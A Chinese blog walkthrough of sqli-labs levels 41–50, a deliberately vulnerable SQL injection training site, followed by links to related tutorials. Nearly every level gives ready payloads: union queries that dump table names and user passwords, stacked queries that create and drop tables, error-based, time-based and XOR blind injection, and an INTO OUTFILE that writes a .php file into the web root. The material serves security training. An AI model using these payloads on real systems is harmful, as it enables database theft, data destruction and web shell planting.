sqli-labs通关教程----41~50关
第四十一关
这关没有闭合符而且不报错,只能是否有回显来判断正误
爆表名:
?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆内容:
?id=0 union select 1,2,group_concat(password) from users --+
同样也可以堆叠注入
?id=1;create table test like emails;--+
第四十二关
这关又是熟悉的post,思路也是一样,但是这关的username输入有mysqli_real_escape_string函数管着,所以注入点在password
添加表tesst
login_user=admin1&login_password=admin1';create table tesst(id INT,name varchar(100)) %23; &mysubmit=Login
删除表tesst
login_user=admin1&login_password=admin1';drop table tesst %23; &mysubmit=Login
第四十三关
这关就是闭合换成了'),其他一样
添加表tesst
login_user=admin1&login_password=admin1';create table tesst(id INT,name varchar(100)) %23; &mysubmit=Login
第四十四关
和四十二关一样,就是没有错误回显了
删除表tesst
login_user=admin1&login_password=admin1';drop table tesst %23; &mysubmit=Login
第四十五关
和四十三关闭合一样,然后没回显
创建test45表
login_user=admin1&login_password=admin1';create table test45(id INT,name varchar(100)) %23; &mysubmit=Login
第四十六关
这关又有新东西,利用order by来注入
后台语句是这样的
$sql = "SELECT * FROM users ORDER BY $id";
?sort=1 desc
?sort=1 asc
显示结果不同,说明可以注入
desc是 descend 降序意思
asc 是 ascend 升序意思
可利用 order by 后的一些参数进行注入
order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
?sort=right(version(),1)
?sort=left(version(),1)
没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数
1.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
?sort=rand(true)
?sort=rand(false)
结果是不一样的
例子
?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)
对应上面的true和false,查看结果
可以进行布尔盲注
2.利用 and,例如 ?sort=1 and (加 sql 语句)。
同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
例子
报错注入
?sort=1 and updatexml(1,concat(0x7e,database()),0) --+
时间注入
?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)
异或布尔盲注
关于异或注入看这篇文章
https://www.anquanke.com/post/id/160584
异或运算规则:
1^1=0 0^0=0 0^1=1 1^1^1=0 1^1^0=0
id ^(select(select version()) regexp '^5')
也可以程序分析参数后注入
?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
将查询结果导出到文件
?sort=1 into outfile 'C:\\phpStudy\\WWW\\sql\\Less-46\\123.php'
3.直接添加注入语句,?sort=(select ---)
?sort=right(version(),1)
第四十七关
这关闭合变成单引号。
获得数据库版本
?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
第四十八关
这关是数字型盲注,没有报错回显。
时间注入
?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)
第四十九关
这关是字符型盲注,没有报错回显。
?sort=1' and If(ascii(substr(database(),1,1))=116,sleep(3),0)--+
第五十关
这关还是之前的堆叠注入
创建less50表
?sort=1;create table less50 like users;--+
参考文档:
https://blog.csdn.net/Kevinhanser/article/details/81563461
sqli-labs通关教程----41~50关的更多相关文章
- sqli-labs通关教程----21~30关
第二十一关 第二十一关我们正常登陆后看到,uname后面变成了一堆字母 这是经过base64编码之后的样子,所以就照葫芦画瓢,将我payload的uname后面的部分转码成base64,这里可以用正常 ...
- sqli-labs通关教程----31~40关
第三十一关 这关一样,闭合变成(",简单测试,#号不能用 ?id=1") and ("1")=("1")--+ 第三十二关 这关会把我们的输 ...
- SQL注入靶场sqli-labs 1-65关全部通关教程
以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- DVWA File Upload 通关教程
File Upload,即文件上传.文件上传漏洞通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁 ...
- DVWA XSS (Reflected) 通关教程
XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
随机推荐
- JS HEX十六进制与RGB, HSL颜色的相互转换【转载】
Mark[转载] https://www.zhangxinxu.com/wordpress/2010/03/javascript-hex-rgb-hsl-color-convert/
- Python第六章-函数05-迭代器&生成器
python作为一个既面向对象,又支持函数式编程的语言,函数的使用方面有很多特点. 比如:闭包,装饰器,迭代器等 函数的高级应用 容器:生活中常见的容器有哪些?袋子,盆子,水杯,书包,铅笔盒... 容 ...
- 《JavaScript 模式》读书笔记(5)— 对象创建模式4
我们学完了大部分对象创建模式相关的内容,下面还有一些小而精的部分. 七.对象常量 JavaScript中没有常量的概念,虽然许多现代的编程环境可能为您提供了用以创建常量的const语句.作为一种变通方 ...
- 我国三大坐标系的区别(西安80、北京54、WGS-84)
1.北京54坐标系(BJZ54) 北京54坐标系为参心大地坐标系,大地上的一点可用经度L54.纬度M54和大地高H54定位,它是以克拉索夫斯基椭球为基础,经局部平差后产生的坐标系. 1954年北京坐标 ...
- rabbitmq++:rabbitmq 三种常用的交换机
更多 rabbitmq 介绍 首先先介绍一个简单的一个消息推送到接收的流程,提供一个简单的图: 黄色的圈圈就是我们的消息推送服务,将消息推送到 中间方框里面也就是 rabbitMq的服务器: 然后经过 ...
- Thread -- Volatile
1,可见性也就是说一旦某个线程修改了该被volatile修饰的变量,它会保证修改的值会立即被更新到主存,当有其他线程需要读取时,可以立即获取修改之后的值. 在Java中为了加快程序的运行效率,对一些变 ...
- CUDA编程入门
CUDA是一个并行计算框架.用于计算加速.是nvidia家的产品.广泛地应用于现在的深度学习加速. 一句话描述就是:cuda帮助我们把运算从cpu放到gpu上做,gpu多线程同时处理运算,达到加速效果 ...
- 有效括号算法题(Golang实现)
有效括号算法题 给定一个只包括 '(',')','{','}','[',']' 的字符串,判断字符串是否有效. 有效字符串需满足: 左括号必须用相同类型的右括号闭合.左括号必须以正确的顺序闭合.注意空 ...
- 个人项目:WordCount (Java)
一.Github项目地址 https://github.com/misterchaos/WordCount 二.解题思路 2.1 基本需求分析 经过仔细阅读题目,分析得出项目的基本需求如下: wc.e ...
- 【杂谈】SpringBoot为啥不用配置启动类
前言 在学习SparkJava.Vert.x等轻量级Web框架的时候,都遇到过打包问题,这两个框架打包的时候都需要添加额外的Maven配置,并指定启动类才能得到可执行的JAR包: 而springboo ...